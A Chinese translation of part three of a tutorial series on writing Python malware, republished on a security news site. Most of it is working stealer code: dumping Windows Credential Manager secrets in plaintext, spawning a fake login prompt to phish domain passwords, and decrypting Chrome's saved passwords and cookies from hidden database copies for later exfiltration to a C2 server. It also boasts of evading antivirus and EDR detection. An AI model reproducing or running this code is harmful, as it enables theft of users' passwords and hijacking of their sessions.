编写python恶意软件part3--窃取凭证和cookies

SoftNight 系统安全 2019年3月18日发布
Favorite收藏

导语:键盘记录和剪切板监控是非常有作用的,而且只要有了这两个,我们就可以很轻易的抓取凭证了。也就是说,系统中可能存在已经保存的凭证,我们也想要获取。在这部分,我们将会讲解一些实用的和基础的技巧在普通用户权限下来窃取凭证和cookie。

键盘记录和剪切板监控是非常有作用的,而且只要有了这两个,我们就可以很轻易的抓取凭证了。也就是说,系统中可能存在已经保存的凭证,我们也想要获取。在第三部分,我们将会讲解一些实用的和基础的技巧在普通用户权限下来窃取凭证和cookie。这次我们不再用ctype来编写又长又复杂,令人头疼的代码了,我们会使用pywin32这个模块,这是WinAPI的一个包装器。首先要安装此模块,命令很简单,用pip install pywin32即可。

首先我们引入所有需要用到的包和模块,然后声明一个常量,这个常量在调用Credential Manager(凭证管理器,简称为CredMan)相关函数时会用到。

import os
import io
import sys
import sqlite3
import json
import shutil
import win32cred
import win32crypt
import win32api
import win32con
import pywintypes
 
CRED_TYPE_GENERIC = win32cred.CRED_TYPE_GENERIC

然后,我们创建一个新的类credentials。它不需要任何构造函数,它只是将凭证方法和cookies方法区分开来。在这个类中,我们先定义一个函数dump_cresman_generic()。

从Windows凭证管理器中转存通用凭证

这个函数就是用来转存所有存储在凭证管理器中的通用凭证的,通用凭证是非域类型凭证。比如说,你在Windows上使用git,通过身份认证连接到GitHub,Bitbucket和Gitlab等,那么你的凭证是存储在CredMan中的。如果不跟LSASS有交互的话,我们是获取不到域凭证的(CRED_TYPE_DOMAIN),而我们通常都会避免与LSASS进行交互。(参考:https://docs.microsoft.com/en-us/windows/desktop/secauthn/kinds-of-credentials)

我们首先import我们需要枚举和读取凭证的函数:

def dump_credsman_generic():
        
    CredEnumerate = win32cred.CredEnumerate
    CredRead = win32cred.CredRead

然后,我们枚举存储在credman中的凭证,并且把它们放在creds变量中,该变量是一个元组:

try:
        creds = CredEnumerate(None, 0)  # Enumerate credentials
    except Exception:                # Avoid crashing on any exception
       pass

 

现在,我们要遍历每个凭证集(这里是命令包,因为set是一个python关键字),并将它们作为单独元素添加到credentials列表中,这样方便操作。

    credentials = []
 
    for package in creds:
        try:
            target = package['TargetName']
            creds = CredRead(target, CRED_TYPE_GENERIC)
            credentials.append(creds)
        except pywintypes.error:
            pass

这里你可能注意到了两件事情。第一就是我们用列表代替了字典,这是因为凭证blob是十六进制形式的。在python中,JSON是不支持八进制和十六进制的,所以我们使用列表来代替。

第二件事就是我们使用CredRead()函数,这个函数返回的数据跟CredEnumerate()函数一样。这里的区别是,CredRead()函数是用来读取凭证中特定的包或集,而CredEnumerate()函数就是返回所有内容。我们可以简单的循环遍历creds变量,但是从我看到的使用CredMan读取一些C代码,CredRead()函数是最简洁的方法。

现在我们该创建一个内存中的文本流了(为了避免在磁盘中写入文件),之后我们就可以将它发送到我们目前还没有创建C2服务器了。

        credman_creds = io.StringIO() # In-memory text stream

        for cred in credentials:

            service = cred['TargetName']
            username = cred['UserName']
            password = cred['CredentialBlob'].decode()

            credman_creds.write('Service: ' + str(service) + '\n')
            credman_creds.write('Username: ' + str(username) + '\n')
            credman_creds.write('Password: ' + str(password) + '\n')
            credman_creds.write('\n')        return credman_creds.getvalue()

首先我们创建文本流credman_creds,用来保存服务,用户名和密码。然后我们遍历Credentials变量并将我们想要的数据写入到文本流中,确保我们已经对credentials进行了解码,这样我们就可以得到明文的密码。完成之后,我们就可以在文本流中看到返回的数据了。

现在我们可以编辑一下main.py文件来进行测试:

import stealer
 
if __name__ == '__main__':
    
    credstealer = stealer.credentials
print(credstealer.dump_credsman_generic())

结果如下:

1.png

从上图可以看出,如果存在git密钥或者密码,我们就可以进行转存,有了密码之后,我们就可以访问非公开的源代码了。目标名Microsoft_OC1实际上就是Skype企业账户的密码,同样也是用户的域密码。如果用户也运行着outlook2016,你很有可能会在Microsoftoffice16_data:SSPI:<account>下找到他的域凭证,如下图:

2.png

弹窗提示输入域凭证

前面说过,现在的渗透测试员使用Mimikatz来dump LSASS中凭证是很常见的。但问题是这种方法很容易被大多数的EDR和下一代杀软发现。如果你没有键盘记录仪和凭证管理器来发现用户的域密码,这种情况下该怎么办,直接问肯定是不行的。

我们可以尝试对用户进行社工,这里我们可以使用CredUIPromptForCredentials()函数来弹出一个登陆对话框,欺骗用户输入域密码。这个函数能够实现这一点,并且以明文形式返回用户输入的密码,函数代码如下:

    CredUIPromptForCredentials = win32cred.CredUIPromptForCredentials
 
    creds = []
 
    try:
        creds = CredUIPromptForCredentials(os.environ['userdomain'], 0, os.environ['username'], None, True, CRED_TYPE_GENERIC, {})
    except Exception:   # Avoid crashing on any exception
        pass
    return creds

这里我们使用环境变量userdomain来显示目标。如果用户属于CONTOSO.LOCAL域,弹框就会让CONTOSO-LOCAL域中的用户输入凭证,也就是userdomain返回的名称。

3.png

如下所示,可以看到这个函数返回了明文输入的凭证。

4.png

转存保存在Chrome中的密码

chrome是市场份额最多的浏览器,所以它自然会成为首要的攻击目标。我见到过的每一个窃取恶意软件都会窃取Chrome的密码,因为说实话,这个太容易了。如果你保存密码时没有设置一个主密码,Login Data数据库中的加密二进制对象就可以用CryptUnprotectData函数来解密,只要是在当前的用户环境下完成的。这意味着你不能只是抓取数据库,然后在不同的主机上用不同的用户身份打开。

Chrome密码存储在SQLite的Login Data数据库中,该数据库位于%localappdata%\Google\Chrome\User Data\Default\目录中。这里我们使用DB Browser可以看到数据库的结构,DB Browser是SQLite的开源数据库工具。

5.png

这里我们想要查询三个相关的字段:action_urls,username_value和password_value字段。password_value字段包含了加密的二进制对象,我们将使用下面的代码来进行解密。

首先,我们要对数据库进行一个本地备份,要不然的话,如果Chrome正在运行,它会有一个句柄,而且数据库会被锁定。或者,我们可以使用WMI来查询正在运行的进程,等到Chrome停止运行,不过这会浪费很多时间。

    try:
    login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Login Data'
    shutil.copy2(login_data, './Login Data') # Copy DB to current dir
    win32api.SetFileAttributes('./Login Data', win32con.FILE_ATTRIBUTE_HIDDEN) # Make file invisible during operation
  except Exception:
    pass
 
chrome_credentials = io.StringIO() # In-memory text stream

我们使用基本的异常处理来避免程序崩溃。如果你需要解决sqlite3的问题,你可以使用sqlite3.error来获取详细信息。然后我们创建一个内存文本流,用来存储我们转存的凭证,避免在磁盘中写入文件。

现在,我们需要打开Login Data数据库的本地副本,然后查询用户保存的凭证:

    try:
        conn = sqlite3.connect('./Login Data', )                                        # Connect to database
        cursor = conn.cursor()                                                          # Create a cursor to fetch the data
        cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Run the query
        results = cursor.fetchall()                                                     # Get the results
        conn.close()                                                                    # Close the database file so it's not locked by the process
        os.remove('Login Data')

这个用python脚本来查询sqlite数据库的python案例比较简单,但是却非常实用。接下来,当我们处理Chrome cookies时,我们还会更新数据库中的数据。现在变量result包含了查询的结果,也就是ursl,用户名和加密的密码,我们可以循环遍历这些结果,然后用WinAPI函数CryptUnprotectData来破解密码,然后将它们添加到我们的内存文本流中。

           for action_url, username_value, password_value in results:                                               
                password = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1] # Decrypt the password with CryptUnprotectData
                if password:                                                                   # Write credentials to text stream in memory
                    chrome_credentials.write('URL: ' + action_url + '\n')
                    chrome_credentials.write('Username: ' + username_value + '\n')
                    chrome_credentials.write('Password: ' + str(password) + '\n')
                    chrome_credentials.write('\n')
            return chrome_credentials.getvalue()                                               # Return content of the text stream
 
        except sqlite3.OperationalError as e: # Simple exception handling to avoid crashing
            print(e)                          # when opening the Login Data database
            pass
 
        except Exception as e:                # Avoid crashing for any other exception
            print(e)
            pass

我们这里使用CryptUnprotectData来解密加密的二进制对象,是因为Windows上的Chrome使用的是CryptProtectData这个WinAPI函数来加密密码的(参考:https://chromium.googlesource.com/chromium/chromium/+/master/chrome/browser/password_manager/encryptor_win.cc)。你可以在MSDN上阅读有关CryptProtectData函数的内容,该函数对DATA_BLOB结构的数据进行加密。通常来说,只有与加密数据的用户拥有相同登陆凭证的用户才能解密数据。而且,加密和解密必须要在一台电脑中完成。关于异常的更多信息,请查考备注。这就是为什么我们要在本地并且在相同的用户环境下解密数据。

现在,我们可以测试这个方法,修改一下main.py然后调用:

import stealer
 
if __name__ == '__main__':
 
    credstealer = stealer.credentials
print(credstealer.dump_chrome_passwords())

运行main.py,查看效果:

6.png

窃取Chrome cookies

Chrome管理cookies的方式与密码一样。它们存储在数据库文件cookies中,并且也是用CryptProtectData函数加密的。所以解密的方法也一样。然而,有两个不同的地方需要注意一下。第一,我们用解密的cookies在数据库内部重写了数据,而不是把它们写入文件。第二,我们窃取的是cookies已经解密的整个数据库文件。如果服务端sessions未过期或者用户没有退出登陆的话,那么可以将数据库上传到一个远程服务器中,用于在用户访问站点时进行身份认证。

        login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Cookies' # Path to Cookies database file
        shutil.copy2(login_data, './Cookies')                                                     # Copy DB to current dir
        win32api.SetFileAttributes('./Cookies', win32con.FILE_ATTRIBUTE_HIDDEN)                   # Make file invisible during operation
 
        try:
            conn = sqlite3.connect('./Cookies')                                                   # Connect to database
            cursor = conn.cursor()
            cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')          # Run the query
            results = cursor.fetchall()                                                           # Get the results
 
            # Decrypt the cookie blobs
            for host_key, name, value, encrypted_value in results:
                decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode()
            
                # Updating the database with decrypted values.             
                cursor.execute("UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999,\
                                is_persistent = 1, is_secure = 0 WHERE host_key = ? AND name = ?",(decrypted_value, host_key, name));
 
            conn.commit()   # Save the changes
            conn.close()    # Close the database file so it's not locked by the process
 
        except Exception as e:  # Avoid crashes from exceptions if any occurs.
            print(e)
            pass
 
# Then, after this function is called, we would exfiltrate the database and delete it.

不过,使用这些cookies并不一定总是有效。因为sessions可能还与其他额外信息有关,比如user-agent,IP地址或者referer等等。所以我们要尽可能多收集用户和主机的信息。这将会在第4部分讲到,还会写一个简单的模块来收集系统信息,还会讲到使用GitHub来设置CC服务器,这样我们就可以隐藏流量。

现在我们来看看创建一个来转存credman和Chrome的密码会不会触发检测:

7.png

参考阅读:https://www.virustotal.com/#/file/e52b5a3cd7df00b050287148412c44526b349a4beafe797fabdd57967a405d81/detection

如图可见,没有触发。其实,以普通权限在用户空间转存凭证几乎是检测不到的。这是因为很难判断访问凭证管理器是否具有恶意目的,而且很多合法程序也会用它来“安全地”(安不安全,心里还没点数吗)存储凭证。如果你不尝试着提权并且从LSASS中dump数据,那么你的操作不大可能会被检测到。

完整的代码在我的GitHub上

https://github.com/tr4cefl0w/0x00sec/tree/master/python-malware

本文翻译自:https://0x00sec.org/t/malware-writing-python-malware-part-3-stealing-credentials-and-cookies/12099如若转载,请注明原文地址: https://www.4hou.com/system/16769.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论